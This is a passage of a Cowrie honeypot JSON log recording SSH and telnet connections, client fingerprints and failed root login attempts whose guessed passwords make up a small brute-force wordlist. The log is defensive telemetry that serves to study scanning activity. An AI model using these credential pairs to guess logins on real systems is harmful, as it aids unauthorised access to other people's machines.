","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:32.343598Z","src_ip":"43.134.184.253","session":"fc589d67a2d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12131415","message":"login attempt [root/12131415] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:32.544207Z","src_ip":"185.236.22.41","session":"ca79a73261fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aloalo","message":"login attempt [root/aloalo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:33.324058Z","src_ip":"43.134.184.253","session":"fc589d67a2d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51344,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b67a36630f","protocol":"telnet","message":"New connection: 152.42.224.71:51344 (10.17.0.5:23) [session: 15b67a36630f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:33.475804Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:33.729568Z","src_ip":"185.236.22.41","session":"ca79a73261fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:34.564604Z","src_ip":"43.134.184.253","session":"fc589d67a2d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:40.209525Z","src_ip":"139.19.117.129","session":"0930fe6d6933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47542,"dst_ip":"10.17.0.5","dst_port":23,"session":"a94607e3b80f","protocol":"telnet","message":"New connection: 152.42.224.71:47542 (10.17.0.5:23) [session: a94607e3b80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:43.898886Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":40196,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02b2420079c","protocol":"ssh","message":"New connection: 43.173.88.240:40196 (10.17.0.5:22) [session: f02b2420079c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:46.395233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:46.401064Z","src_ip":"43.173.88.240","session":"f02b2420079c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:46.469563Z","src_ip":"43.173.88.240","session":"f02b2420079c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx`","message":"login attempt [root/1qaz2wsx`] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:46.775114Z","src_ip":"43.173.88.240","session":"f02b2420079c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:47.846541Z","src_ip":"43.173.88.240","session":"f02b2420079c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.52293252944946,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:59:55.169008Z","src_ip":"152.42.224.71","session":"72bb700ff157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.585369348526,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:02.533319Z","src_ip":"152.42.224.71","session":"f962734db29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.049641132354736,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:09.936643Z","src_ip":"152.42.224.71","session":"130cb4735f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":35074,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f7cb480b1f","protocol":"ssh","message":"New connection: 103.173.227.57:35074 (10.17.0.5:22) [session: b3f7cb480b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:10.475447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:10.480726Z","src_ip":"103.173.227.57","session":"b3f7cb480b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:10.716991Z","src_ip":"103.173.227.57","session":"b3f7cb480b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789.","message":"login attempt [root/123456789.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:11.426793Z","src_ip":"103.173.227.57","session":"b3f7cb480b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:12.665718Z","src_ip":"103.173.227.57","session":"b3f7cb480b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.720791816711426,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:30.196490Z","src_ip":"152.42.224.71","session":"15b67a36630f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35370,"dst_ip":"10.17.0.5","dst_port":23,"session":"0407dc75529a","protocol":"telnet","message":"New connection: 152.42.224.71:35370 (10.17.0.5:23) [session: 0407dc75529a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:35.312881Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":38114,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa7a33ece02d","protocol":"ssh","message":"New connection: 43.134.184.253:38114 (10.17.0.5:22) [session: fa7a33ece02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:48.282109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:48.287393Z","src_ip":"43.134.184.253","session":"fa7a33ece02d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:48.533614Z","src_ip":"43.134.184.253","session":"fa7a33ece02d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1993","message":"login attempt [root/1993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:49.549824Z","src_ip":"43.134.184.253","session":"fa7a33ece02d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:50.799191Z","src_ip":"43.134.184.253","session":"fa7a33ece02d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50050,"dst_ip":"10.17.0.5","dst_port":23,"session":"642ad9a0ca19","protocol":"telnet","message":"New connection: 152.42.224.71:50050 (10.17.0.5:23) [session: 642ad9a0ca19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:52.102026Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":45104,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e0e63c8c145","protocol":"ssh","message":"New connection: 43.173.88.240:45104 (10.17.0.5:22) [session: 3e0e63c8c145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:53.734676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:53.740674Z","src_ip":"43.173.88.240","session":"3e0e63c8c145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:53.808480Z","src_ip":"43.173.88.240","session":"3e0e63c8c145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"education","message":"login attempt [root/education] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:54.109822Z","src_ip":"43.173.88.240","session":"3e0e63c8c145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:00:55.181043Z","src_ip":"43.173.88.240","session":"3e0e63c8c145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.467342376708984,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:03.779969Z","src_ip":"152.42.224.71","session":"0407dc75529a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":84.4041690826416,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:08.302942Z","src_ip":"152.42.224.71","session":"a94607e3b80f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.35502600669861,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:30.456939Z","src_ip":"152.42.224.71","session":"642ad9a0ca19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":55618,"dst_ip":"159.203.135.109","dst_port":22,"session":"853138ff3054","protocol":"ssh","message":"New connection: 103.149.170.125:55618 (159.203.135.109:22) [session: 853138ff3054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:56.990133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:56.995157Z","src_ip":"103.149.170.125","session":"853138ff3054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:57.255628Z","src_ip":"103.149.170.125","session":"853138ff3054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456asd","message":"login attempt [root/123456asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:58.049997Z","src_ip":"103.149.170.125","session":"853138ff3054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:01:59.312592Z","src_ip":"103.149.170.125","session":"853138ff3054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":47308,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e9e0fecbae","protocol":"ssh","message":"New connection: 43.173.88.240:47308 (10.17.0.5:22) [session: b2e9e0fecbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:02.034216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:02.048197Z","src_ip":"43.173.88.240","session":"b2e9e0fecbae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:02.125238Z","src_ip":"43.173.88.240","session":"b2e9e0fecbae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mindthegap","message":"login attempt [root/mindthegap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:02.455113Z","src_ip":"43.173.88.240","session":"b2e9e0fecbae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:03.529550Z","src_ip":"43.173.88.240","session":"b2e9e0fecbae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":60468,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9f966e34cb","protocol":"ssh","message":"New connection: 43.134.184.253:60468 (10.17.0.5:22) [session: ae9f966e34cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:07.343722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:07.348794Z","src_ip":"43.134.184.253","session":"ae9f966e34cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:02:07.587260Z","src_ip":"43.134.184.253","session":"ae9f966e34cb","protocol":"ssh"}
